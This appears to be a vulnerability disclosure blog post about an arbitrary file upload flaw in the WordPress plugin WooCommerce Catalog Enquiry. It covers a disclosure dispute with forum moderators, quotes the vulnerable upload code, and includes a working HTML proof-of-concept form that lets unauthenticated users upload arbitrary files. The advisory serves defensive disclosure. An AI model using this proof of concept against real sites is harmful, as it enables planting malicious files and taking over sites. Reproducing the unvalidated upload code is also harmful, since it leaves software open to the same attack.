Arbitrary File Upload Vulnerability in WooCommerce Catalog Enquiry
One of the ways we keep track of vulnerabilities in WordPress plugins so that we can provide our customers with the best data on vulnerabilities in WordPress plugins is by monitoring the Support Forum on wordpress.org for threads related to those. Through that yesterday we came across a thread discussing that the demo website for the plugin WooCommerce Catalog Enquiry contained malware. It suggested that it was possible the issue was related to a vulnerability in the plugin. Looking over the code we quickly found an arbitrary file upload vulnerability in the plugin, which could allow an attacker to upload malicious files to the website. It isn’t clear if the demo website was exploited through this or if the vulnerability has been exploited yet and we haven’t seen evidence through other channels we monitor of any exploitation, but considering the ease we had finding it would be good idea to assume this is already being exploited at this point.
WordPress Forum Moderators Interrupt Responsible Disclosure
We notified the developer of the plugin of the issue yesterday, but have yet to hear back from them. This morning the thread had been updated with a response from the developer that read in part:
Just to inform you, this issue has not generated from our plugin. A third party plugin was causing this.
There wasn’t any explanation as to the source of the malware beyond that and the demo website still contained the malicious code at that time, so we suspect that the developer probably didn’t actual know what the source was.
We responded, letting them know that the malware still being on the demo website and letting them know that we had contacted them about the vulnerability. For some reason a forum moderator removed most of our reply and left this message:
As we have mentioned before, please report plugin security vulnerabilities following the guide at https://developer.wordpress.org/plugins/wordpress-org/plugin-security/reporting-plugin-security-issues/ so that they can be handled properly by the right people, and please do not publicly disclose security vulnerabilities here.
Not only had we not disclosed any vulnerability there (the main point of our message was to try to get the vulnerability fixed before we needed to disclose it), but the guidelines they linked to actually stated at the time:
In the case of serious exploits, please keep in mind responsible and reasonable disclosure. Every attempt to contact the developer directly should be made before you reported the plugin to us (though we understand this can be difficult – check in the source code of the plugin first, many developers list their emails).
Which is what we were in the process of doing. The thread goes on from there with more troubling lack of understanding from forum moderators and the security team (which is far too common an occurrence in our experience).
Deciding when we disclose vulnerabilities is problematic to say the least, because we have an obligation to notify our customers of vulnerabilities in the plugins they use promptly as that is what they are paying us for, but we will also want to limit the additional damage that can be done by vulnerabilities even for those not using our service. The longer we wait the higher the chances one of our customer could be impacted by a vulnerability they should have known about, but waiting could limit damage on a wider scale. We try to balance in our formal disclosure policy and by publicly disclosing vulnerabilities we have discovered so that our customers are not alone in knowing there is an issue (though other WordPress plugin vulnerability data providers don’t seem to do a good job of including those vulnerabilities). For vulnerabilities that are already likely being exploited we also add them to the free data that comes with our services companion plugin, to further limit the damage.
By comparison the WordPress thinks it is appropriate to never warn people about vulnerable plugins that are being exploited until they are fixed, despite the fact that some of those are never fixed, leaving website open to being exploited indefinitely.
The forum moderators also removed the plugin from the Plugin Directory, which will slow down the possibility of fixing the plugin since additional steps have to happen for a fixed version to be released to the public, so we are disclosing the vulnerability now. We had hoped to hold off until there was a fix, if it was quick in coming, but the forum moderators decided to interrupt the process.
Seeing as the vulnerability may already being exploited we are adding it to the free data in our service’s companion plugin, so even those not using the service will get notified if they are using a vulnerable version. Though for those running WooCommerce on their website (as we do), using our service is a good idea as you likely have sensitive data passing through or being stored on your website and this isn’t the only time a plugin for WooCommerce has had a serious vulnerability. We previously found two other arbitrary file upload vulnerabilities in plugins for it and there was another vulnerability found in one last year that would expose order data, which we found that no security plugins would protect against.
Vulnerability Details
The vulnerability involves the function send_product_enqury_mail() located in the file /classes/class-wc-Woocommerce-Catalog-Enquiry-ajax.php. That function is made available through WordPress’ AJAX functionality to those logged in to WordPress and those not logged in:
6 7 | add_action('wp_ajax_send_enquiry_mail', array&$this, 'send_product_enqury_mail') ); add_action( 'wp_ajax_nopriv_send_enquiry_mail', array( &$this, 'send_product_enqury_mail' ) ); |
As of version 3.0.0 the function has the following code that would take a file sent with a request to that function and save it to the filesystem:
59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 | if(isset($_FILES['fileupload'])){ // create catalog enquiry sub directory within uploads $upload_dir = wp_upload_dir(); $catalog_enquiry = $upload_dir['basedir'].'/catalog_enquiry'; if ( ! file_exists( $catalog_enquiry ) ) { wp_mkdir_p( $catalog_enquiry ); } foreach ($_FILES['fileupload'] as $key => $value) { $_FILES['fileupload'][$key] = $value[0]; } $woo_customer_filesize = 2097152; if(isset($settings['filesize_limit']) && !empty($settings['filesize_limit'])){ $woo_customer_filesize = intval($settings['filesize_limit'])*1024*1024; } // Check file size if ($_FILES['fileupload']['size'] < $woo_customer_filesize) { $target_file = $catalog_enquiry.'/'.basename($_FILES['fileupload']['name']); if (move_uploaded_file($_FILES['fileupload']['tmp_name'], $target_file)){ $attachments[] = $target_file; } } } |
That code doesn’t limit what files can be uploaded or in some way restrict access to them. It isn’t clear to us why the files are being saved to the filesystem since the uploading them seems to be so that they can be sent in an email later in the function.
Proof of Concept
The following proof of concept will upload the selected file to the directory /wp-content/uploads/catalog_enquiry/.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="action" value="send_enquiry_mail" /> <input type="file" name="fileupload[0]" /> <input type="submit" value="Submit" /> </form> </body> </html>
Timeline
- April 19, 2017 – Developer notified.
- April 20, 2017 – Plugin removed from WordPress.org Plugin Directory.
- April 20, 2017 – Vulnerability added to free data in our service’s companion plugin.
- April 24, 2017 – Plugin returns to Plugin Directory with fixed version.